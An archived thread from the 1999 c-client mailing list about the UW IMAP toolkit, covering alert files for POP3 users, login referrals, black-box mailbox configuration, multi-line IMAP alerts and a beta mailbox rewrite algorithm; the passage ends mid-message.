10wPoR-0006RP-00 for c-client@u.washington.edu; Tue, 22 Jun 1999 13:38:03 +0100 Received: (from qq11@localhost) by uxb.liv.ac.uk (8.8.7/ajt5) id NAA29057; Tue, 22 Jun 1999 13:38:03 +0100 (BST) Message-Id: Date: Tue, 22 Jun 1999 13:38:03 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: c-client@u.washington.edu Subject: ipop3d access to .imapalert file? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: qq11@uxb.liv.ac.uk X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Has anyone hacked a way that POP3 users can get this data as a pseudo message in the way that some POP servers deliver bulletins? I'm not bothered about repeat messages. Thanks -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 22 05:42:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Jun 1999 05:42:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA22902 for ; Tue, 22 Jun 1999 05:42:06 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA23438; Tue, 22 Jun 1999 05:42:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id FAA21952; Tue, 22 Jun 1999 05:41:07 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA47974 for ; Tue, 22 Jun 1999 05:40:16 -0700 Received: from mailhub1.liv.ac.uk (mailhub1.liv.ac.uk [138.253.100.94]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id FAA02682 for ; Tue, 22 Jun 1999 05:40:15 -0700 Received: from uxb.liv.ac.uk ([138.253.100.101]) by mailhub1.liv.ac.uk with esmtp (Exim 2.12 #1) id 10wPqR-0006VE-00; Tue, 22 Jun 1999 13:40:07 +0100 Received: (from qq11@localhost) by uxb.liv.ac.uk (8.8.7/ajt5) id NAA29071; Tue, 22 Jun 1999 13:40:06 +0100 (BST) Message-Id: Date: Tue, 22 Jun 1999 13:40:06 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: c-client@u.washington.edu Cc: Lai Yiu Fai Subject: Re: Setting up UW 4.5 for login referrals and mailbox referrals In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: qq11@uxb.liv.ac.uk X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a rather belated `me too' . I would be interested if anyone has developed login referals with the UW software. Thanks. -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 On Tue, 15 Jun 1999 19:39 , Mark Crispin said: >On Wed, 16 Jun 1999 10:35:06 +0800, Lai Yiu Fai wrote: >> Could you include some sample code in UW IMAP distribution to show how login >> and mailbox referral are done? I'm more interested on LOGIN referral to >> distribute users mailbox to different servers. A simple text file for >> storing mapping of user and mailbox servers should be sufficed to show the >> programming technique. > >I'll see what I can do; but I'm rather swamped right now, so I can't promise >anything soon. > >In the simplest example, all you need to do for a login referral is edit the >ckp_???.c (if you want to reject the login) or log_???.c (if you want to allow >the login) file to consult your referral file, and then generate an mm_log() >message with errflg NIL to issue a referral (but still allow login) or ERROR >(deny login). The text of the mm_log() string should be in the form of a >login referral as described in the RFC. > From pinedev@shivax2.cac.washington.edu Tue Jun 22 06:06:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Jun 1999 06:06:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA23131 for ; Tue, 22 Jun 1999 06:06:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA23833; Tue, 22 Jun 1999 06:06:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA02608; Tue, 22 Jun 1999 06:06:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA11440 for ; Tue, 22 Jun 1999 06:05:41 -0700 Received: from gamma.dou.dk (root@gamma.dou.dk [130.225.130.6]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA09037 for ; Tue, 22 Jun 1999 06:05:36 -0700 Received: from dou-pc1 (peter.dou.dk [130.225.156.237]) by gamma.dou.dk (8.9.3/8.9.3) with SMTP id PAA27253 for ; Tue, 22 Jun 1999 15:05:31 +0200 (METDST) Message-Id: <3.0.32.19990622140748.009101e0@d390.dou.dk> Date: Tue, 22 Jun 1999 14:07:50 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Sorensen To: c-client@u.washington.edu Subject: Setting Black-box-directory in /etc/c-client.cf Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Sender: maspsr@d390.dou.dk X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am trying to let users logging in from browsers (NS/IE) to choose whether= to read mail with IMAP or POP3. I Have the following lines in /etc/c-client.cf and yes I am aware of the warning against using this. .... set black-box-directory /home/folders/ .... This works fine. A user can now use IMAP to read mail, and folders are placed in /home/folders/ The problem is than when /home/folders/ is created, the POdaemon= ipop3d cannot see the system mailbox. Why?? regards and thanks Peter S=F8rensen/University of Southern Denmark/e-mail:maspsr@dou.sdu.dk -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 22 06:26:22 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Jun 1999 06:26:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA23287 for ; Tue, 22 Jun 1999 06:26:20 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA00327; Tue, 22 Jun 1999 06:26:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA23556; Tue, 22 Jun 1999 06:25:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA34620 for ; Tue, 22 Jun 1999 06:24:56 -0700 Received: from nixpbe.pdb.sni.de (nixpbe.pdb.sni.de [192.109.2.33]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA10481 for ; Tue, 22 Jun 1999 06:24:55 -0700 Received: from lestrade.pdb.sni.de (lestrade.pdb.sni.de [129.103.172.122]) by nixpbe.pdb.sni.de (8.9.3/8.9.3) with ESMTP id PAA14927 for ; Tue, 22 Jun 1999 15:24:49 +0200 (MDT) Received: by lestrade.pdb.sni.de (8.9.1haschmi/8.9.1) id PAA04089 for c-client@u.washington.edu; Tue, 22 Jun 1999 15:24:49 +0200 (MST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by itsmx1.mow.siemens.ru (8.8.3/8.8.3) with SMTP id RAA09980; Tue, 22 Jun 1999 17:24:18 +0400 (MSD) Message-Id: <006f01bebcb2$88330c40$21c9ca95@mow.siemens.ru> Date: Tue, 22 Jun 1999 17:24:18 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Peter Sorensen" , Subject: RE: Setting Black-box-directory in /etc/c-client.cf In-Reply-To: <3.0.32.19990622140748.009101e0@d390.dou.dk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > .... > set black-box-directory /home/folders/ > .... > This works fine. A user can now use IMAP to read mail, and folders are > placed in /home/folders/ > > The problem is than when /home/folders/ is created, the POdaemon ipop3d > cannot see the system mailbox. Why?? > Because it can't :-) If you set blackbox, you also have to arrange for the delivery to blackbox INBOX. The simplest thing is to configure your MDA (sendmail?) to use tmail as local mailer. I use dmail from out of procmailrc. You can of course hack env_unix.c ... assuming, that you fully understand, what you are doing. /andrej From pinedev@shivax2.cac.washington.edu Tue Jun 22 19:32:05 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Jun 1999 19:32:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA05292 for ; Tue, 22 Jun 1999 19:32:03 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA11443; Tue, 22 Jun 1999 19:32:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA00730; Tue, 22 Jun 1999 19:30:08 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA22970 for ; Tue, 22 Jun 1999 19:29:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (koval@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA13917 for ; Tue, 22 Jun 1999 19:29:06 -0700 Message-Id: Date: Tue, 22 Jun 1999 19:29:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alan Thew Cc: c-client@u.washington.edu Subject: Re: ipop3d access to .imapalert file? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 Jun 1999, Alan Thew wrote: > Has anyone hacked a way that POP3 users can get this data as a pseudo > message in the way that some POP servers deliver bulletins? > > I'm not bothered about repeat messages. There's been some talk about doing this; I have two other messages in my INBOX that request this. I've been too busy to address this request yet. Is it really correct to have POP3 deliver a .imapalert into the INBOX (as a pseudo-message) but IMAP deliver it as an IMAP alert? Isn't this going to cause problems for dual IMAP/POP users (yes, it's bizarre, but they do exist and their numbers are growing)? Would it be better for there to be an additional mechanism that does the deliver thing to both IMAP and POP? What about local access? [This affects how it is implemented] From pinedev@shivax2.cac.washington.edu Tue Jun 22 19:35:10 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Jun 1999 19:35:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA05327 for ; Tue, 22 Jun 1999 19:35:08 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA11494; Tue, 22 Jun 1999 19:35:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA05717; Tue, 22 Jun 1999 19:33:37 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA23122 for ; Tue, 22 Jun 1999 19:33:13 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nightowl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA22378 for ; Tue, 22 Jun 1999 19:33:13 -0700 Message-Id: Date: Tue, 22 Jun 1999 19:33:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Sorensen Cc: c-client@u.washington.edu Subject: Re: Setting Black-box-directory in /etc/c-client.cf In-Reply-To: <3.0.32.19990622140748.009101e0@d390.dou.dk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 Jun 1999, Peter Sorensen wrote: > set black-box-directory /home/folders/ > > The problem is than when /home/folders/ is created, the POdaemon ipop3d > cannot see the system mailbox. Why?? Now you know why there's a warning against using the configuration file; these functions are very specific for UW-internal use and are not generally useful outside of UW. In black-box, the INBOX is always /home/folders//INBOX no matter what driver reads the mail. There is no use of the mail spool directory at all. From pinedev@shivax2.cac.washington.edu Wed Jun 23 03:53:29 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jun 1999 03:53:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA15434 for ; Wed, 23 Jun 1999 03:53:28 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA28870; Wed, 23 Jun 1999 03:53:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id DAA04834; Wed, 23 Jun 1999 03:51:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA49152 for ; Wed, 23 Jun 1999 03:51:14 -0700 Received: from mailhub1.liv.ac.uk (mailhub1.liv.ac.uk [138.253.100.94]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id DAA20472 for ; Wed, 23 Jun 1999 03:51:09 -0700 Received: from uxb.liv.ac.uk ([138.253.100.101]) by mailhub1.liv.ac.uk with esmtp (Exim 2.12 #1) id 10wkcV-0004t5-00; Wed, 23 Jun 1999 11:51:07 +0100 Received: (from qq11@localhost) by uxb.liv.ac.uk (8.8.7/ajt5) id LAA14292; Wed, 23 Jun 1999 11:51:07 +0100 (BST) Message-Id: Date: Wed, 23 Jun 1999 11:51:07 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: ipop3d access to .imapalert file? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: qq11@uxb.liv.ac.uk X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 Jun 1999 19:29 , Mark Crispin said: >On Tue, 22 Jun 1999, Alan Thew wrote: >> Has anyone hacked a way that POP3 users can get this data as a pseudo >> message in the way that some POP servers deliver bulletins? >> >> I'm not bothered about repeat messages. > >There's been some talk about doing this; I have two other messages in my >INBOX that request this. I've been too busy to address this request yet. > >Is it really correct to have POP3 deliver a .imapalert into the INBOX (as >a pseudo-message) but IMAP deliver it as an IMAP alert? I can only speak for us but this would not matter from a user perspective. Since your code supports sending an alert to an IMAP client but POP3 has no mechanism, it seems the obvious (to me) way to go... > Isn't this going >to cause problems for dual IMAP/POP users (yes, it's bizarre, but they do >exist and their numbers are growing)? We have quite a number, I don't think it will be that much of a problem since currently POP3 users get nothing at all... > >Would it be better for there to be an additional mechanism that does the >deliver thing to both IMAP and POP? Probably. > >What about local access? [This affects how it is implemented] > > Don't know, I'm looking at getting info to users of our systems. Thanks Alan Thew From pinedev@shivax2.cac.washington.edu Wed Jun 23 03:57:43 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jun 1999 03:57:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA15498 for ; Wed, 23 Jun 1999 03:57:42 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA19463; Wed, 23 Jun 1999 03:57:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id DAA13562; Wed, 23 Jun 1999 03:56:01 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA42032 for ; Wed, 23 Jun 1999 03:55:34 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id DAA22296 for ; Wed, 23 Jun 1999 03:55:33 -0700 Received: from goofy-ex.icomverse.com (goofy-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id NAA28534 for ; Wed, 23 Jun 1999 13:55:31 +0300 Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Wed, 23 Jun 1999 13:54:46 +0300 Message-Id: <5C5BA40F28F1D211AAE200105A057CB0210FC7@GOOFY_EX.QUANTUM.icomverse.com> Date: Wed, 23 Jun 1999 13:54:36 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: c-client@u.washington.edu Subject: RE: ipop3d access to .imapalert file? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry for a late start. Could someone please explain what good is it sending alerts to POP users through pseudo messages? I actually have an example of a situation where it is useful, but what do others need it for?... -- Dmitry Rubinstein From pinedev@shivax2.cac.washington.edu Fri Jun 25 13:26:23 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Jun 1999 13:26:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA08724 for ; Fri, 25 Jun 1999 13:26:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA00868; Fri, 25 Jun 1999 13:26:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA18107; Fri, 25 Jun 1999 13:24:16 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA43480 for ; Fri, 25 Jun 1999 13:22:01 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA04903 for ; Fri, 25 Jun 1999 13:22:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ittai@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA23236; Fri, 25 Jun 1999 13:22:00 -0700 Message-Id: Date: Fri, 25 Jun 1999 13:21:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: major change in new BETA version of UW IMAP toolkit MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The latest version of the IMAP-4.6.BETA toolkit ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z contains a new rewrite algorithm for the default UNIX format of mail. This algorithm is *DISABLED* by default in this distribution, but will be enabled in the future. The new algorithm is much faster than the current algorithm, and does not require a tmpfile. However, the new algorithm is much more dangerous than the old algorithm since it reads and overwrites on the mail file simultaneously. Any bug in the algorithm is likely to cause mail file corruption. The new algorithm has been tested and debugged here at UW. There are no known bugs in the new algorithm. However, it has not yet received extensive loadtesting in the field. I want people to try it, but it is probably not prudent to put it into production without testing at your site. Please test the new algorithm (preferably on mailboxes which you have backed up), and let us know if you encounter any problems. To enable the new algorithm, edit file imap-4.6.BETA/src/osdep/unix/unix.c and look for a line that reads: int unix_old_algorithm = T; * non-zero to use old algorithm */ Change that line to be: int unix_old_algorithm = NIL; /* non-zero to use old algorithm */ If you do not make this change, you will get the old slow algorithm that is in previous versions. Note, however, that the old algorithm will be retired soon, so you probably should test the new algorithm. This change does not affect any other drivers (e.g. mbx). -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Sun Jun 27 15:23:39 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 27 Jun 1999 15:23:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA12702 for ; Sun, 27 Jun 1999 15:23:38 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA09857; Sun, 27 Jun 1999 15:23:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA24037; Sun, 27 Jun 1999 15:22:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA47818 for ; Sun, 27 Jun 1999 15:19:59 -0700 Received: from Mercury.unix.acs.cc.unt.edu (mercury.acs.unt.edu [129.120.220.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id PAA18159 for ; Sun, 27 Jun 1999 15:19:58 -0700 Received: from jove.acs.unt.edu (29009@jove.acs.unt.edu [129.120.220.41]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id RAA18344 for ; Sun, 27 Jun 1999 17:19:57 -0500 (CDT) Received: from localhost (kwm@localhost) by jove.acs.unt.edu (8.8.8/8.8.8) with ESMTP id RAA25486 for ; Sun, 27 Jun 1999 17:19:56 -0500 (CDT) Message-Id: Date: Sun, 27 Jun 1999 17:19:56 -0500 (CDT) Reply-To: kwm@unt.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client@u.washington.edu Subject: Re: a more fundamental ALERT/USERALERT question... MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Alert: "kwm.net" domain is temporarily down. X-Alert: Watch this space for news about themullets.net. X-Pmrc: 1 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've got a more fundamental question about ALERT (/etc/imapd.alert by default) and USERALERT (.imapalert). I'm using PINE 4.10 and UW IMAP build 12.250. Are alerts *supposed* to be just single-line messages? Isn't there a way to have a multiple physical line alert? UW is sending to my pine process something like this: * OK [ALERT] This is the first line. * OK [ALERT] this is the second. * OK [ALERT] this is the third * OK [ALERT] this is the fourth. * OK [ALERT] this is the fifth. * OK [ALERT] this is the sixth.. ...and PINE is interpreting this as six separate alerts, splitting it up thusly: Alert received while accessing "{test.unt.edu}~/mail/null": This is the first line. Alert received while accessing "{test.unt.edu}~/mail/null": this is the second. Alert received while accessing "{test.unt.edu}~/mail/null": this is the third [...] Is this the intended behavior? Should alerts just be single-line messages? Also -- where does the USERALERT file go? Does it cause the alert in any mailbox the UA happens to go into where the file exists? Thanks, -KwM- -- Kevin W. Mullet Network Security and Performance E-Mail: kwm@unt.edu Data Communications Voice: 1.940.565.4742 Computing Center FAX: 1.940.565.4060 University of North Texas TDD: 1.800.735.2989 PO Box 305398 http://people.unt.edu/~kwm/ Denton, TX 76203-5398 Caveat: Nothing in this message is any entity's official opinion. "Never anthropomorphize computers; they hate that." From pinedev@shivax2.cac.washington.edu Sun Jun 27 20:26:00 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 27 Jun 1999 20:26:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA14962 for ; Sun, 27 Jun 1999 20:25:59 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA13560; Sun, 27 Jun 1999 20:25:57 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id UAA28592; Sun, 27 Jun 1999 20:24:56 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA37624 for ; Sun, 27 Jun 1999 20:23:02 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id UAA00245 for ; Sun, 27 Jun 1999 20:23:02 -0700 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA02076; Sun, 27 Jun 1999 20:22:57 -0700 Received: from ccsu11.ust.hk ([143.89.103.7]:64244 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <626027-5593>; Mon, 28 Jun 1999 11:20:39 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id LAA08689; Mon, 28 Jun 1999 11:20:38 +0800 Message-Id: <19990628112037.A8650@ust.hk> Date: Mon, 28 Jun 1999 11:20:37 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lai Yiu Fai To: Mark Crispin , IMAP Interest List , c-client Interest List Subject: Re: major change in new BETA version of UW IMAP toolkit In-Reply-To: ; from Mark Crispin on Fri, Jun 25, 1999 at 01:21:58PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How is it compared with the mbx format? MBX seems to be UW recommended format in previous release. How about concurrent RW and purging support in new unix driver? Is it still not supported? Rgds, Ken On Fri, Jun 25, 